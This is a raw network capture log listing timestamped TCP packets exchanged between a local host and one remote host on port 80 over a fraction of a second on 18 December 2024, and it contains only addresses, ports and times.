Dec 18, 2024 15:21:14.591219902 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.591267109 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.592376947 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.592447996 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.592921972 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.592968941 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.594098091 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.594149113 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.594203949 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.594245911 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.595191956 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.595243931 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.595309019 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.595350981 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.596672058 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.596725941 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.596872091 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.596916914 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.597735882 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.597789049 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.597867012 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.597914934 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.599102974 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.599119902 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.599153996 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.599175930 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.600259066 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.600313902 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.600332975 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.600367069 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.601598024 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.601651907 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.601679087 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.601732016 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.602895021 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.602946043 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.602978945 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.603019953 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.604302883 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.604357958 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.604410887 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.604454041 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.605730057 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.605746031 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.605779886 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.605808973 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.606956959 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.607009888 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.607018948 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.607045889 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.608217955 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.608272076 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.608299971 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.608340025 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.609535933 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.609719992 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.609782934 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.611078024 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.611159086 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.611255884 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.611309052 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.612302065 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.612318039 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.612359047 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.612375021 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.613698006 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.613712072 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.613751888 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.614906073 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.614921093 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.614953995 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.614976883 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.616184950 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.616198063 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.616249084 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.617475986 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.617525101 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.617530107 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.617571115 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.618812084 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.618858099 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.618958950 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.619000912 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.620177984 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.620188951 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.620233059 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.621452093 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.621501923 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.621593952 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.621637106 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.623063087 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.623110056 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.623131037 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.623172998 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.624192953 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.624238014 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.624326944 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.624366045 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.625335932 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.625380993 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.625468016 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.625508070 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.626744032 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.626755953 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.626794100 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.628060102 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.628107071 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.628154039 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.628194094 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.629333973 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.629378080 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.629390955 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.629424095 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.630676985 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.630727053 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.630897999 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.630939960 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.632110119 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.632158041 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.632199049 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.632241011 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.633215904 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.633264065 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.655559063 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.655574083 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.655670881 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.656049013 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.656137943 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.656280041 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.656333923 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.657351017 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.657460928 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.657516956 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.659141064 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.659152031 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.659215927 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.660314083 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.660463095 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.660523891 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.661761045 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.661772013 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.661822081 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.662779093 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.662790060 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.662833929 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.663966894 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.663979053 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.664033890 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.665195942 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.665429115 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.665482044 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.666564941 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.666618109 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.666624069 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.666660070 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.667954922 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.668004990 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.668037891 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.668076038 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.669204950 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.669277906 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.669342041 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.669401884 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.670558929 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.670620918 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.670649052 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.670726061 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.671984911 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.672036886 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.672117949 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.672154903 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.673465967 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.673476934 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.673521042 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.674612045 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.674623013 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.674659967 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.674683094 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.675796032 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.675833941 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.675843954 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.675870895 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.677086115 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.677131891 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.677190065 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.677236080 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.678524017 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.678534985 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.678572893 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.679852009 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.679862022 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.679902077 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.679927111 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.782390118 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.782408953 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.782529116 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.782700062 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.782874107 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.782911062 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.782937050 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.784066916 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.784120083 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.784321070 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.784367085 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.785598993 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.785656929 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.785696030 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.785741091 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.786931038 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.786993027 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.787034035 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.787077904 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.788028955 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.788085938 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.788449049 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.788495064 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.789374113 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.789429903 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.789458036 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.789503098 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.790764093 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.790781975 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.790823936 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.790838003 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.792027950 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.792094946 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.792321920 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.792368889 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.793296099 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.793354034 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.793359995 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.793400049 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.794646025 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.794693947 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.794758081 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.794800043 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.796072006 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.796123028 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.796137094 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.796178102 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.797454119 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.797535896 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.797559977 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.797571898 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.798732996 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.798784018 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.798816919 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.798863888 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.799835920 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.799889088 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.799902916 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.799947977 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.801310062 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.801322937 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.801384926 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.802304983 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.802352905 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.802411079 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.802494049 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.803750992 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.803762913 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.803802013 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.805051088 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.805107117 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.805181026 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.805227995 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.806189060 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.806236982 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.806256056 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.806296110 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.807375908 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.807424068 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.807606936 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.807697058 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.808581114 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.808593035 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.808634043 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.809693098 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.809745073 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.809796095 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.809838057 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.810864925 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.810978889 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.811041117 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.811114073 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.812238932 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.812294006 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.812321901 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.812396049 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.813563108 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.813608885 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.813781023 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.813847065 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.815339088 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.815351009 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.815398932 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.816137075 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.816185951 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.816206932 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.816245079 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.817384958 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.817397118 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.817435980 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.818572998 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.818618059 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.818701982 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.818747044 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.819771051 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.819782972 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.819818020 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.820851088 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.820863008 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.820908070 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.822046041 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.822058916 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.822109938 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.823165894 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.823224068 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.823246002 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.823362112 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.847693920 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.847707987 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.847759008 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.848447084 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.848459005 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.848501921 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.849499941 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.849514961 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.849550962 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.850605011 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.850627899 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.850649118 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.850667953 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.852113008 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.852128983 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.852160931 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.852181911 CET	49771	80	192.168.2.5	185.215.113.206
Dec 18, 2024 15:21:14.853632927 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.853646994 CET	80	49771	185.215.113.206	192.168.2.5
Dec 18, 2024 15:21:14.853688955 CET	49771	80	192.168.2.5	185.215.113.206
